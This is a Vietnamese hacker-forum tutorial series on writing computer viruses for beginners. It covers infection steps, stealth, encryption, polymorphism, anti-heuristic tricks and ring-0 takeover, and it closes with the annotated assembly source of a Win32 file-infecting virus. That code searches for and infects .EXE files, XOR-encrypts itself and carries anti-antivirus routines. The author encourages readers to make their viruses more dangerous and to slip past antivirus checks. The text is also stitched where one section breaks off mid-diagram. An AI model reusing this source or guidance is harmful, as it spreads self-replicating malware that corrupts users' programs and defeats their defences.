Cách viết chương trình Virus

Hướng dẫn lập trình Virus, Dành cho newbie

Author: Spinx [hva]

Lời nói đầu của Benina: Tòan bộ bài viết này tôi tổng hợp từ các bài viết của spinx trên 4rum HVA và chia ra làm 5 bài. Đầu tiên tôi xin lỗi tác giả vì chưa xin phép và tự đặt tựa các bài viết [vì cho dễ theo dõi]. Còn bây giờ đọc đọc..

BÀI 1: MỞ ĐẦU

Author: spinx


Bạn có muốn trở thành VXer? Mục đích bài này tôi muốn giới thiệu cho newbie về cách viết VR. Yêu cầu trước hết là biết lập trình ASM. Đoạn ấy tôi không hướng dẫn được các bác tự mua sách học lấy. Tôi không đưa dạng từng lệnh một đâu. Làm như vậy mất hết tính sáng tạo của mọi người đi. Chúng ta sẽ bắt đầu từ các định nghĩa cơ bản. Xin lỗi chua thêm 1 câu: suy nghĩ kỹ khi thực hành, tôi không chịu trách nhiệm về những gì các bác làm

VR là gì?
E hèm... cũng khó đấy vì trong thực tế VR HẾT SỨC ĐA DẠNG. Tuy nhiên ta có thể định nghiã nôm na VR là một đoạn code có khả năng tự sao chép, nhân bản [không đúng với trojan lắm nhỉ ]. VR có thể nằm trong các tệp khả thi [executable files] như COM hoặc EXE, boot sector, MBR...

Chọn ngôn ngữ lập trình
Thông thường VR được xây dựng bằng Assembler nhưng không nhất thiết như vậy.
VR trên thực tế có thể xây dựng bằng Pascal, C, VB... thậm chí có VR còn được viết bằng tệp BAT. Tuy vậy tôi khuyên nên chọn ASM với các lý do sau:

Kích thước nhỏ: ngôn ngữ ASM sẽ cho ta khả năng lập trình với kích thước nhỏ nhất có thể. Đây là một đặc tính quan trong của VR. Bằng ASM ta sẽ bớt đi rất nhiều code không cần thiết và trùng lặp do các trình biên dịch ngôn ngữ bậc cao sinh ra. Trong quá trình tối ưu mã code ta có thể tối ưu đến từng byte mã lệnh. Lựa chọn các lệnh có cùng kết quả với kích thước nhỏ nhất....

Khả năng kiểm soát: Ta có thể kiểm soát từng lệnh, move code từ vị trí này sang vị trí khác, vừa chạy vừa patch code [ patch on-the-fly ]. Mã hoá code từng phần ....

Tính linh hoạt: đây là ưu điểm mạnh nhất của ASM khi lập trình. Là một ngôn ngữ phi cấu trúc, khả năng sáng tạo trên ASM là không bị giới hạn.

Cuối cùng nhiều khi VR không hoàn toàn là một chương trình [boot VR chẳng hạn] nên chẳng có lý do gì để chọn một ngôn ngữ bâc cao cả trừ phi bạn quá lười.

Một Vxer cần có gì
Như vậy, hãy trang bị cho mình chút kiến thức về ASM rồi ta bắt tay với vài công cụ tối thiểu sau:

-Chương trình dịch ASM. Bạn có thể chọn TASM, MASM hoặc một chương trình dịch bất kỳ tuỳ thích. Nói chung với tasm 3.1 là đủ với một dos VR
-Chương trình link. Có thể là Tlink hoặc link.exe
-Một tool debuger.
Có nhiều lắm, debug, symdeb... [dos] softice, win32dasm... [win]
-Một chương trình soạn text [quickedit, notepad, utraedit....]
-Kiếm vài mẫu VR cơ bản, đừng bắt đầu từ VR phức tạp quá nếu không bạn sẽ mệt mỏi vì debug thuật toán mã hoá và vượt qua một đống mã anti-debug.
Kiếm vài con cô cổ như LittleGirl, onehalf...
-Tool dump bộ nhớ. Nếu không có thì sài tạm chức năng của debuger vậy
-Bảng tra cứu ngắt trong vài quyển lập trình hệ thống hoặc dùng tech-help
-Chương trình diệt VR [các AV xịn chứ không phải BKAV đâu] để kiểm tra xem VR của bạn đã thực sự tàng hình trước các kiểm tra heuristic chưa
-Email của tôi nếu cần giúp đỡ
Còn gì không nhỉ? Thôi tạm thế đã

Có một điều Vxer nên ghi nhớ KHÔNG MÁY MÓC.
Bạn đã biết làm VR nhưng đừng máy móc theo dập khuôn. Sáng tạo càng kỳ quặc VR của bạn càng nguy hiểm. Đảo code đi thoải mái miễn đạt kết quả. Nghĩ ra càng nhiều tips & trịck càng tốt.
Tôi hy vọng sẽ lần lượt giới thiệu đủ các VR file trên dos, boot VR, VR file trên win, VR file trên Linux, trojan và cuối cùng là VR trên nhiều hệ điều hành DOS-WIN-UNIX.

Ta bắt đầu với một VR file đơn giản. Một VR file thường làm gì:
1. Mở file cần lây nhiễm
2. Kiểm tra xem đã từng nhiễm chưa
3.
Nếu rồi thì bỏ qua
4.
Lưu ngày giờ của file
5. Lưu đoạn code đầu chương trình [COM] hoặc header [EXE]
6. Nhét lệnh nhảy tới VR của ta đè lên code đã lưu [COM] hoặc sửa header [EXE]
để VR có thể bắt đầu trước chương trình gốc
7. Nối thêm VR của ta vào file
8. Cập nhật ngày tháng cũ
OK, ta đã có một VR đơn giản. Tôi sẽ phân tích từng mục ở các phần sau.

Thực ra có một loại VR tồi tệ nhất là overwriting VR. VR này thường ghi đè lên tệp gốc dẫn đến què quặt dữ liệu. Bạn định tranh luận với tôi là còn có rất nhiều hình thức lây lan khác ư? Tôi biết nhưng đây chỉ là bài cho
newbie đừng quên điều đó.


Tiếp tục nhá, các thao tác khác một VR có thể làm là gì:

Thường trú: Nhiều người nghĩ rằng VR là phải thường trú nhưng không hẳn vậy. Chính vì thế tôi không liệt thao tác này vào trong nhóm các thao tác thường làm.

Lây nhiễm: Một VR có thể lây nhiễm nhiều cách [ở trên là lây nhiễm tệp khả thi] qua files, email... hoặc boot sector [đĩa mềm], macro... Nạn nhân sẽ chạy file lây nhiễm mà không biết. Alê hấp, VR nắm quyền điều khiển

Nắm quyền điều khiển: Một khi VR đã chạy ta có thể làm mọi điều ta muốn. Phát huy trí tưởng tượng thoải mái. Bạn có thể lấy mọi thông tin của nạn nhân [trojan hay làm] từ pwd email đến thư tình... thậm chí mở một backdoor để điều khiển máy tính từ xa.

Phá hoại: Một khi đã nắm quyền điều khiển, bạn có thể phá hoại những gì bạn thích phá. Theo nhận xét của tôi, phá hoại là hình thức chỉ các beginner mới thích làm. Nó hơi thất đức, và tất nhiên có VR hoàn toàn không phá hoại

Một vài kỹ thuật nâng cao tôi sẽ phân tích thêm trong bài viết là:

ARMOURING: chống debug và disassembler. Đây là một trong các kỹ thuật tự bảo vệ cho VR [xem thêm bài kỹ thuật lập trình VR]. Tôi sẽ cung cấp chi tiết cho các bạn một số cách bẫy ngắt lạ [int 1, int 0, int 6...], đánh lừa stack, đặt điểm dừng [break points], fetch code on-the-fly

STEALTH: có một số thuật toán rất hay [ FCB, Handles, SFT, tự tháo gỡ...]. Các kỹ thuật này nhằm làm nạn nhân thấy tệp tin có vẻ như chưa bị nhiễm. Nó có thể trả về kích thước chuẩn khi nạn nhân rờ đến hoặc thậm chí tự tháo gỡ VR ra khỏi tệp khi nạn nhân mở file. Tôi sẽ trình bày kỹ về FCBStealth, SFTStealth, Handle stealth. Tự tháo gỡ thì chắc các bạn sẽ tự làm được

ENCRYPTION: tôi sẽ trình bày vài cách mã hoá đơn giản và thông dụng. VR thường mã hoá code của nó và chỉ giải mã ra khi chạy.

POLYMORPHISM: Đa hình là kỹ thuật tự thay đổi code mã hoá nhằm tạo ra càng nhiều phiên bản càng tốt. Tự thay đổi liên tục là một chức năng sinh tồn.

ANTI-HEURISTIC: Thuật toán chống tìm kiếm hueristic [xem thêm Kỹ thuật lập trìnhVR]

TUNNELING: kỹ thuật bẫy ngắt

ANTI-TUNNELING: Cách giữ ngắt cho riêng mình, tránh AV hoặc VR khác

ANTI-BAIT: Điều cần tránh khi lây nhiễm [xem thêm kỹ thuật lập trình VR]

OPTIMIZATION: Một số kinh nghiệm tối ưu code

Mỏi tay quá rồi, hẹn các bác bài sau nhé.... to be continue!

[spinx]

BÀI 2: VR TRÊN DOS

Author: spinx

Tôi có ý định trình bày các kỹ năng lập trình VR tuần tự từ các loại VR COM/EXE không thường trú trên DOS, VR có thướng trú, boot VR rồi mới sang win/unix nhằm tạo cho các bạn nắm được các kiến thức cơ bản trước. Tuy nhiên tôi thấy một số bạn quan tâm tới các kỹ thuật mới nhiều hơn vì vậy tôi sẽ cắt ngắn chương trình đào tạo. Chúng ta sẽ phân tích nhanh một VR file COM trên DOS để lấy khái niệm rồi bài sau sẽ đi vào VR trên win và unix luôn. Sau các bài này khi các bạn đã tự thực hành và trở thành VXer, các bạn nào muốn nâng cao trình độ có thể thảo luận về các kỹ thuật nâng cao trong bài Kỹ thuật lập trình VR của tôi.

Như ta đã phân tích ở bài trước, VR COM sẽ làm thao tác nối [append] chính nó vào chương trình của nạn nhân. Yêu cầu của VR là nắm quyền kiểm soát trước khi chương trình gốc chạy. Chính vì vậy VR sẽ thay đổi code ở đầu chương trình gốc để tạo một lệnh nhảy xuống đoạn mã VR mới nối thêm. Sau khi VR chạy xong, đoạn mã gốc sẽ được phục hồi VR sẽ trả lại quyền điều khiển để chương trình gốc có thể chạy bình thường. Chính vì vậy nạn nhân vẫn có thể ung dung hút thuốc làm việc bình thường mà không biết máy tính đã nhiễm VR. Hình vẽ sau mô tả hoạt động của một VR. Tôi rất muỗn đưa ra nhiều hình vẽ minh hoạ nhưng không biết làm thế nào, các bạn xem tạm vậy.

. . . . . . . . . . . . . . . . . . . . . |Jump VR|
------------.
. ---------. . . . . . ----------
| File. . . | + |Virus. | ===>|File. . |
-----------. . ----------. . . . . ----------
. . . . . . . . . . . . . . . . . . . . . |Virus. |

Tất nhiên các bạn có thể dễ dàng nhận ra có cách khác là đẩy chương trình gốc ra sau VR theo dạng

------------. . ---------. . . . . . ----------
| File. . . | + |Virus. | ===>|Virus. |
-----------. . ----------. . . . . ----------
. . . . . . . . . . . . . . . . . . . . . |File. . |

Tuy nhiên cách này thường không được sử dụng vì chạy chậm hơn nhiều. Tổng kết khái niệm ở đây chỉ còn là: VR và tệp tin sau khi lây nhiễm sẽ được hợp làm một, VR nắm quyền điều khiển chương trình và được chạy trước, chương trình gốc sẽ được trả lại nguyên vẹn và chạy sau khi VR kết thúc.
Dựa trên nguyên tắc này các cách đã trình bày là phương pháp cơ bản còn thực ra các bạn có thể sáng tạo tuỳ theo ý mình để đạt được mục đích.
Sơ đồ sau là diễn giải một tệp .COM trước và sau khi lây nhiễm:


Bat dau ct |-------------------|. . . . . |----------------------|
. . . . . . . . | Ma dau ct cu. |--|. . . | Ma jump cho VR |--|
. . . . . . . . |-------------------|. |. . . |----------------------|. |
. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |
. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |
. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |
. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |
. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |
. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |
. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |
. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |
. . . . . . . . |-------------------|. |. . . |----------------------|. |
. . . . . . . . . . . . . . . . . . . . . . |---->| Ma dau ct cu. . . |. |
. . . . . . . . . . . . . . . . . . . . . . . . . . |----------------------|. |
. . . . . . . . . . . . . . . . . . . . . . . . . . |. . . . . . . . . . . . . | done. Thường trú trên Win không đơn giản như vây. Cái khó của ta là gì? Protected mode!

Vây có cách nào vượt qua protected mode không? Có chứ nhiều là đằng khác. Sau khi suy nghĩ tôi quyết định chọn giới thiệu cho các bạn 2 cách đơn giản nhất và kỹ thuật cao nhất. Nhưng trước hết Protected mode là gì.

Chúa ơi, muộn quá rồi. Tôi phải đi ngủ vậy không ngày mai toi mất. Vì thời gian có hạn không thể trình bày chi tiết hơn được các bác thông cảm. Có gì thắc mắc cứ post lên tôi sẽ từ từ giải đáp sau.

Ta lại tiếp tục nhé. Lần trước tôi dừng ở đâu nhỉ? Protected Mode là gì. Windows làm việc trong một môi trường bảo vệ. Nhờ đó nó có thể kiểm soát được các thao tác truy nhập cấp thấp của các ứng dụng. Đến đây có sự phân hoá mức độ an toàn bảo vệ khá rõ giữa các windows. Ta phân tích với win9x để lấy khái niệm rồi các bài sau ta sẽ đưa ra các tips&tricks có thể lợi dụng của win2k/xp

Vector ngắt:
Lên windows thường có một câu hỏi ai cũng nghĩ đến là các vector ngắt đi đâu và liệu ta có sử dụng được các ngắt ngày xưa không? Xét một cách sâu xa, ngắt [interrupt] không phải chỉ là khái niêm của hệ điều hành. Đây là tính năng của bộ vi xử lý. Thực ra trên windows các ngắt vẫn có chứ không biến mất. Việc gọi các vector ngắt windows vẫn hỗ trợ nhưng kiểm soát và hạn chế hơn rất nhiều. Các thao tác bá đạo như VR hay một chương trình lập trình hệ thống hay làm sử dụng các ngắt truy nhập cấp thấp sẽ gây ra lỗi bảo vệ. Trước kia trên DOS các vector ngắt có thể thay đổi dễ dàng bằng cách thay đổi địa chỉ trong bảng vector ngắt IVT [Interrupt Vector Table], trong chế độ protected bảng IDT [Interrupt Descriptor Table] sẽ lưu giữ các vector ngắt này. Thay đổi IDT có thể tạo cho ta hiệu ứng tương đương như trên dos nhưng việc này chẳng dễ dàng tí nào cả.

Bộ nhớ:
Để có chế độ bảo vệ, windows không thể đạt được nếu chỉ dựa vào phần mềm. Đây là nhờ có sự trợ giúp kiểm soát của phần cứng đặc biệt là bộ vi xử lý. Các ứng dụng chạy trong chế độ bảo vệ của windows thường có bảng IDT/IVT và bộ nhớ riêng và chạy như một hệ thống khép kín đọc lập. Mọi thao tác trực tiếp đến vùng nhớ ngoài ứng dụng đều gây ra lỗi bảo vệ [truy nhập không hợp lệ].

Rings:
Vậy bản thân windows kiểm soát hệ thống ở cấp thấp như thế nào? Ta có khái niệm rings. Đây là các đặc quyến các ứng dụng trên win có thể có. Một chương trình thông thường chạy ở ring-3 [có ít sức mạnh nhất] và kernel hệ thống chạy ở ring-0 có đặc quyền tối thượng. Việc cướp ring-0 của win sẽ cho ta sức mạnh kiểm soát toàn bộ hệ thống. Bạn muốn xoá CMOS [cổng 70h] ư? Hay đơn giản là kêu trên PC một âm thanh qua port timer? Bạn phải có ring-0. Bạn muốn có bảng vector ngắt riêng? Lại là ring-0. Việc của win là nắm chắc ring-0 còn việc của ta là cướp nó. Có một số sơ hở của windows dẫn đến các VXer lợi dụng cướp được ring-0 [ví dụ như VR nổi tiếng CIH]. Tôi đã thử một vài kỹ thuật như vậy và sẽ trình bày lại với các bạn nhưng thật đáng tiếc tôi chưa bao giờ thành công với winNT/2k/xp.

Các kiến thức nho nhỏ tôi vừa trình bày chung quy chỉ để giải quyết vấn đề thường trú và kiểm soát hệ thống. Thường trú trên DOS rất dễ, ta có thể thay đổi khối nhớ MCBs của DOS hay đơn giản là tìm khoảng nhớ nào ít người dùng thì điềm nhiên chui vào. Ở chế độ bảo vệ, ta không làm được như vậy. Tôi đã hứa đưa ra 2 cách, một là cách đơn giản nhất, 2 là cách sử dụng kỹ thuật cao. Các bạn có thể đoán được cách thứ 2 là rings.

hừmm.. thời gian trôi nhanh quá lúc nào tôi rảnh ta sẽ lại tiếp tục nhé. Bác nào trợ giảng hay có tài liệu gì hay giải thích thêm đều rất hoan nghênh. Hẹn gặp lại bài sau

Spinx

Thực hành:

Định hòan thành một bài viết đã lâu nhưng nhìn cái policy của diễn đàn nên chưa dám. Hiện nay diễn đàn không khuyết khích hướng dẫn quảng bá lậ­p trình virus cho newbie nữa, hơn nữa chắc các bạn cũng có thể thấy qua là các kỹ thuật ở đây rất khó và sâu. Vì vậy tôi sẽ post nốt bài này thôi, có gì thắc mắc các bác cố phấn đấu mấy seo rồi vào Elite Member lập topic ta thảo luận tiếp nhe. Đây là sourcecode virus Win32.ATAV của Radix16[MIONS] rất thuận tiện cho học VR trên win. Tôi không dám hướng dẫn nữa đâu, chỉ post lên để các bác xem qua xem chúng nó viết VR thế nào thôi. Đây cũng là minh họa cho mấy phần tôi đã trình bày và là ví dụ để các bác tập trainning on the job cho các phần tôi chưa kịp trình bày. VR có sử­ dụng vài thư viện nhỏ của nhóm VR rất thành danh là 29A
Thân,


spinx

P/S: mấy điểm cần chú ý: VR này có sử­ dụng kỹ thuật mã hóa đơn giản bằng xor tÄ©nh
[tôi không muốn đưa ra code mã hóa đa hình phức tạp sẽ khó theo dõi], có cài code anti-debug, và kỹ thuật bẫy lỗi SEH. Nó có cài anti-AV nhưng chưa sử­ dụng nó và đây là bản rất sơ đẳng để thực tập viết VR


.386p
.Model Flat
jumps

.Data

db ?

extrn GetModuleHandleA :proc
extrn ExitProcess :proc

extrn MessageBoxA :proc

VirusSize equ Virus_End-Start
SizeCrypt equ Crypt_End-Crypto

include mz.inc
include pe.inc ;include files from Jacky Qwerty/29A
include win32api.inc
include useful.inc

.Code
Virus_Size equ Virus_End-Start

Start:
pushad
;Sử­ dụng kỹ thuậ­t bẫy lỗi SEH, kỹ thuậ­t này rất, rất hấp dùng không chỉ cho lậ­p trình VR mà cần cho lập trình hệ thống nói chung.

;Nhưng tôi sẽ không trình bày sâu hơn ở đy, tài liệu nó có rất nhiều trên net, các bác tập nghiên cứu thêm.
@SEH_SetupFrame
xchg [edx], eax

seh_fn:

call Base1

Base1:
pop ebp
sub ebp,offset Base1
FirstGeneration:
call Mutate1
Crypto:

Virus_Start:

;Quét kernel nhằm tìm APIs tôi đã trình bày ở trên [xem lại bài học]
call Kernel?

mov esi, ebx
mov ebx,[esi+10h]
add ebx,[ebp + imagebase]
mov [ebp + offset f_RVA],ebx
mov eax,[esi]
jz Not_Found_Kernel32

mov esi,[esi]
add esi,[ebp + offset imagebase]
mov edx,esi
mov ecx,[ebp+offset importsize]
mov eax,0

Jmp Get_Module_Handle

coded db 'Win32.ATAV ©oded by Radix16[MIONS]',0
maintext db 'Heayaaa',0
Kernel?:

mov esi,[ebp + offset imagebase]
cmp word ptr[esi],'ZM'
jne GetEnd

add esi,3ch
mov esi,[esi]
add esi,[ebp + offset imagebase]
push esi
cmp word ptr [esi], 'EP' ;Win App PE
jne GetEnd

add esi, 28h
mov eax, [esi]
mov [ebp+entrypoint], eax
pop esi
add esi,80h
mov eax,[esi]
mov [ebp+importvirtual],eax
mov eax,[esi+4]
mov [ebp+importsize],eax
mov esi,[ebp+importvirtual]
add esi,[ebp + offset imagebase]
mov ebx,esi
mov edx,esi
add edx,[ebp + importsize]

Search_Kernel:
mov esi,[esi + 0ch]
add esi,[ebp + offset imagebase]
cmp [esi],swKernel32
Je K32Found
add ebx, 14h
mov esi, ebx
cmp esi, edx
jg Not_Found_Kernel32
jmp Search_Kernel

K32Found:
ret

Not_Found_Kernel32:
mov eax, dword ptr [esp]

find_base_loop:
cmp dword ptr [eax+0b4h], eax
je Found_Adress
dec eax
cmp eax, 40000000h
jbe assume_hardcoded
jmp find_base_loop

assume_hardcoded:
mov eax, 0BFF70000h ;không tìm thấy ta có thể hardcode Địa chỉ kernel [xem lại bài học]
cmp word ptr [eax], 'ZM' ;kiểm tra image của kernel
je Found_Adress
mov eax, 07FFF0000h

Found_Adress:
mov [ebp+offset Kernel32], eax
mov edi, eax
cmp word ptr [edi],'ZM'
jne GetEnd
mov edi, [edi+3ch]
add edi, [ebp+offset Kernel32]
cmp word ptr [edi],'EP'
jne GetEnd

pushad

mov esi,[edi+78H]
add esi,[ebp+offset Kernel32]
mov [ebp+offset Export],esi
add esi,10H
lodsd
mov [ebp+offset basef],eax
lodsd
lodsd
mov [ebp+offset limit],eax
add eax, [ebp+offset Kernel32]
lodsd
add eax,[ebp+offset Kernel32]
mov [ebp+offset AddFunc],eax
lodsd
add eax, [ebp+offset Kernel32]
mov [ebp+offset AddName],eax
lodsd
add eax,[ebp+offset Kernel32]
mov [ebp+offset AddOrd],eax
mov esi,[ebp+offset AddFunc]
lodsd
add eax,[ebp+offset Kernel32]

mov esi, [ebp+offset AddName]
mov [ebp+offset Nindex], esi
mov edi,[esi]
add edi,[ebp+offset Kernel32]
mov ecx,0
mov ebx,offset API_NAMES
add ebx,ebp

TryAgain:
mov esi,ebx
MatchByte:
cmpsb
jne NextOne

cmp byte ptr [edi], 0
je GotIt
jmp MatchByte

NextOne:
inc cx
cmp cx, word ptr [ebp+offset limit]
jge GetEnd

add dword ptr [ebp+offset Nindex], 4
mov esi, [ebp+offset Nindex]
mov edi, [esi]
add edi, [ebp+offset Kernel32]
jmp TryAgain

GotIt:
mov ebx,esi
inc ebx
shl ecx,1

mov esi, [ebp+offset AddOrd]
add esi,ecx
xor eax,eax
mov ax,word ptr [esi]
shl eax, 2
mov esi,[ebp+offset AddFunc]
add esi,eax
mov edi,dword ptr [esi]
add edi,[ebp+offset Kernel32]

mov [ebp+offset ddGetProcAddress], edi
popad

mov esi, offset swExitProcess
mov edi, offset ddExitProcess
add esi, ebp
add edi, ebp
;Quét địa chỉ các hàm APIs [xem lại bài học]
Repeat_find_apis:
push esi
mov eax,[ebp+offset Kernel32]
push eax
mov eax,[ebp+offset ddGetProcAddress]
call eax
cmp eax,0
je GetEnd
stosd

repeat_inc:
inc esi
cmp byte ptr [esi], 0
jne repeat_inc
inc esi
cmp byte ptr [esi], 0FAh
jne Repeat_find_apis

Jmp Virus_Game

Get_Module_Handle:
cmp dword ptr [edx],0
je Not_Found_Kernel32
cmp byte ptr [edx+3],80h
je Not_Here
mov esi,[edx]
push ecx
add esi,[ebp + offset imagebase]
add esi,2
mov edi,offset gmhGetModuleHandleA
add edi,ebp
mov ecx,gmhsize
rep cmpsb
pop ecx
je f_GetModuleHandelA
Not_Here:
inc eax
add edx,4
loop Get_Module_Handle
jmp Not_Found_Kernel32
f_GetModuleHandelA:
shl eax,2
mov ebx,[ebp+offset f_RVA]
add eax,ebx
mov eax,[eax]

mov edx,offset se_Kernel32
add edx,ebp
push edx
call eax
cmp eax,0
jne Found_Adress
Jmp Not_Found_Kernel32


Virus_Game:
push offset SystemTime
mov eax,[ebp + ddGetSystemTime]
call eax

cmp byte ptr [SystemTime.wMonth],0Ah
jne Next_Game
cmp byte ptr [SystemTime.wDay],0Fh
jne Next_Game

jmp Ok_Day_Month

Next_Game:
mov dword ptr [ebp+offset infections], 0Ah

call SearchFiles
inc eax
jz GetEnd
dec eax
push eax
mov ecx,[edi.FileSizeLow] ;zisti velikost souboru
lea esi,[edi.FileName]
call Infect
jc _try
dec dword ptr [ebp+offset infections]
cmp word ptr [ebp+offset infections], 0
je All_Done
_try:
push edi
lea edi, [edi.FileName]
mov ecx, 13d
mov al, 0
rep stosb
pop edi
pop eax
push eax
push edi
push eax
call dword ptr [ebp+offset ddFindNextFileA]
test eax,eax
jz All_Done
mov ecx,[edi.FileSizeLow] ;zisti velikost souboru
lea esi,[edi.FileName]
call Infect
jc failinfection
dec dword ptr [ebp+infections]
failinfection:
cmp dword ptr [ebp+infections], 0
jne _try

All_Done:
pop eax
GetEnd:
cmp ebp, 0
je _exit
mov eax,[ebp + offset oldip]
add eax,[ebp + offset imagebase]
jmp eax
_exit:
push 0
mov eax, [ebp+offset ddExitProcess]
call eax



PEheader dd 0
oldip dd 0
oldsize dd 0
newsize dd 0
incsize dd 0
newip dd 0

;Bắt đầu lây nhiễm lên PE
Infect proc

pushad
add ecx,VirusSize ;kích thước VR
mov word ptr [ebp+infectionflag], 0
mov [ebp + offset memory],ecx
call OpenFile ;mở tệp lây nhiễm
mov [ebp+offset filehandle], eax ;
inc eax ; eax -1
jz Endus
call CMapFile
or eax,eax
jz Endus
call MapView
or eax,eax
jz Exit_Map
mov esi,eax
mov [ebp+offset mapaddress],esi

cmp word ptr[esi],'ZM' ;mã tệp EXE
jne UnMapw


mov ebx,dword ptr[esi+3ch]
cmp word ptr [esi+ebx],'EP' ;mã tệp PE
jne UnMapw
add esi,ebx
mov [PEheader+ebp], esi
mov eax, [esi+28h]
mov [oldip+ebp],eax
mov eax,[esi+3ch]
push eax
xor eax, eax
mov ebx,[esi+74h]
shl ebx,3
mov ax,word ptr [esi+6h]
dec eax
mov ecx,28h
mul ecx
add esi,78h
add esi,ebx
add esi,eax

or dword ptr ds:[esi+24h],0A0000020h

mov eax,[esi+10h]
mov [oldsize+ebp],eax
add dword ptr [esi+8h],VirusSize

mov eax,[esi+8h]
pop ebx
mov ecx,ebx
div ecx
mov ecx,ebx
sub ecx,edx
mov [esi+10h],ecx
mov eax,[esi+8h]
add eax,[esi+10h]
mov [esi+10h],eax
mov [ebp+offset newsize], eax

mov eax,[esi+0ch]
add eax,[esi+8h]
sub eax,VirusSize
mov [newip+ebp],eax

mov eax,[ebp+offset oldsize]
mov ebx,[ebp+offset newsize]
sub ebx,eax
mov [ebp+offset incsize], ebx

mov eax,[esi+14h]
add eax,[ebp+offset newsize]
mov [ebp+offset newfilesize], eax

mov eax, [esi+14h]
add eax,[esi+8h]
sub eax,VirusSize
add eax,[ebp+offset mapaddress]

call Write_File

mov esi,[ebp+offset PEheader]
mov eax,[newip+ebp]
mov [esi+28h],eax
mov eax, [ebp+offset incsize]
add [esi+50h], eax

UnMapw:
push dword ptr [ebp+offset mapaddress]
mov eax, [ddUnmapViewOfFile+ebp]
Call eax

Exit_Map:
push dword ptr [ebp+offset maphandle]
mov eax,[ddCloseHandle+ebp]
call eax

push dword ptr [ebp+offset filehandle]
mov eax, [ddCloseHandle+ebp]
call eax
Jmp Complete?
infection_error:
stc
jmp Endus
Complete?:
cmp word ptr [ebp+offset infectionflag], 0FFh
je infection_error
clc

Endus:
popad
ret
Infect endp



SearchFilesN proc

ret
SearchFilesN endp

;Tìm kiếm file nạn nhân
SearchFiles proc
lea edi,[ebp + offset search]
mov eax,edi
push eax
lea eax,[ebp + offset _Exe]
push eax
call dword ptr[ebp+offset ddFindFirstFileA]
ret
SearchFiles endp

memory dd 0
maphandle dd 0
mapaddress dd 0

CMapFile proc
push 0
push dword ptr [ebp+offset memory] ;
push 0
push PAGE_READWRITE ;R/W
push 0
push dword ptr [ebp+offset filehandle] ;handle
mov eax,dword ptr [ddCreateFileMappingA+ebp]
call eax
mov [ebp+offset maphandle], eax
ret
CMapFile endp

MapView proc
push dword ptr [ebp+offset memory]
push 0
push 0
push FILE_MAP_ALL_ACCESS
push eax
mov eax,[ddMapViewOfFile+ebp]
call eax
ret
MapView endp

filehandle dd 0 ;rukojet souboru

OpenFile proc
push 0 ;Atribute
push 0
push 3 ;Có overwrite [xem lại mô tả hàm API CreateFileA]
push 0
push 1
push 80000000h or 40000000h ;read & write
push esi ;tên tệp
mov eax, [ddCreateFileA+ebp] ;
Call eax ;gọi hàm API
ret ;zpet
OpenFile endp ;v eax je rukojet souboru

;Kỹ thuậ­t Anti-AV. Tất cả trình bày trong Kỹ thuậ­t lậ­p trình VR thì phải. Đây là cách giết người diệt khẩu nếu có AV dám lảng vảng
Kick_AV proc
push eax
cdq
push edx
; call FindWindowA
xchg eax, ecx
jecxz quit

push edx
push edx
push 12h
push ecx
; call PostMessageA
quit:
ret

Kick_AV endp


Delete_AV proc



Delete_AV endp



Ok_Day_Month:

nop
imagebase dd 00400000h
swKernel32 = 'NREK'
Kernel32 dd 00000000h
importvirtual dd ?
importsize dd ?
entrypoint dd ?
f_RVA dd ?
Nindex dd 0
basef dd 0
Export dd 0
limit dd 0

AddFunc dd 0
AddName dd 0
AddOrd dd 0



newfilesize dd 0

infectionflag dw 0
gmhGetModuleHandleA db 'GetModuleHandleA',0
gmhsize = $-gmhGetModuleHandleA

API_NAMES:
swGetProcAddress db 'GetProcAddress',0
swExitProcess db 'ExitProcess',0
swGetVersion db 'GetVersion',0
swFindFirstFileA db 'FindFirstFileA',0
swFindNextFileA db 'FindNextFileA',0
swGetCurrentDirectory db 'GetCurrentDirectoryA',0
swSetCurrentDirectory db 'SetCurrentDirectoryA',0
swDeleteFile db 'DeleteFileA',0
swCreateFileMapping db 'CreateFileMappingA',0
swMapViewOfFile db 'MapViewOfFile',0
swUnmapViewOfFile db 'UnmapViewOfFile',0
swGetFileAttributes db 'GetFileAttributesA',0
swSetFileAttributes db 'SetFileAttributesA',0
swGetDriveType db 'GetDriveTypeA',0
swCreateFile db 'CreateFileA',0
swCloseHandle db 'CloseHandle',0
swGetFileTime db 'GetFileTime',0
swSetFileTime db 'SetFileTime',0
swSetFilePointer db 'SetFilePointer',0
swGetFileSize db 'GetFileSize',0
swSetEndOfFile db 'SetEndOfFile',0
swGetSystemTime db 'GetSystemTime',0
swGetModuleHandle db 'GetModuleHandleA',0
swWriteFile db 'WriteFile',0
db 0FAh

ddGetProcAddress dd 0
ddExitProcess dd 0
ddGetVersion dd 0
ddFindFirstFileA dd 0
ddFindNextFileA dd 0
ddGetCurrentDirectoryA dd 0
ddSetCurrentDirectoryA dd 0
ddDeleteFileA dd 0
ddCreateFileMappingA dd 0
ddMapViewOfFile dd 0
ddUnmapViewOfFile dd 0
ddGetFileAttributesA dd 0
ddSetFileAttributesA dd 0
ddGetDriveTypeA dd 0
ddCreateFileA dd 0
ddCloseHandle dd 0
ddGetFileTime dd 0
ddSetFileTime dd 0
ddSetFilePointer dd 0
ddGetFileSize dd 0
ddSetEndOfFile dd 0
ddGetSystemTime dd 0
ddGetModuleHandleA dd 0
ddWriteFile dd 0


max_path EQU 260

se_Kernel32 db 'KERNEL32.dll',0

Anti_AV:


_Grisoft db 'avg?????.dat',0
_AVP db 'AVP.CRC',0
_TBAW db 'anti-vir.dat',0
_MSAV db 'CHKLIST.MS',0


_Kaspersky_ db 'AVP Monitor',0
_Grisoft_ db 'AVG Control Center',0


_Exe db '*.EXE',0
infections dd 0


fnx dd 0



Crypt_End:

Mutate1:

mov ecx,SizeCrypt
lea esi,[ebp + Crypto]
decr:
xor dword ptr [esi],0FFh
inc esi
loop decr
End_Mutate:
ret

Write_File proc
call Mutate1
mov edi, eax
lea esi,[Start+ebp]
mov ecx, VirusSize
rep movsb
call Mutate1
ret
Write_File endp


Virus_End:


SYSTEMTIME struct

wYear WORD ?
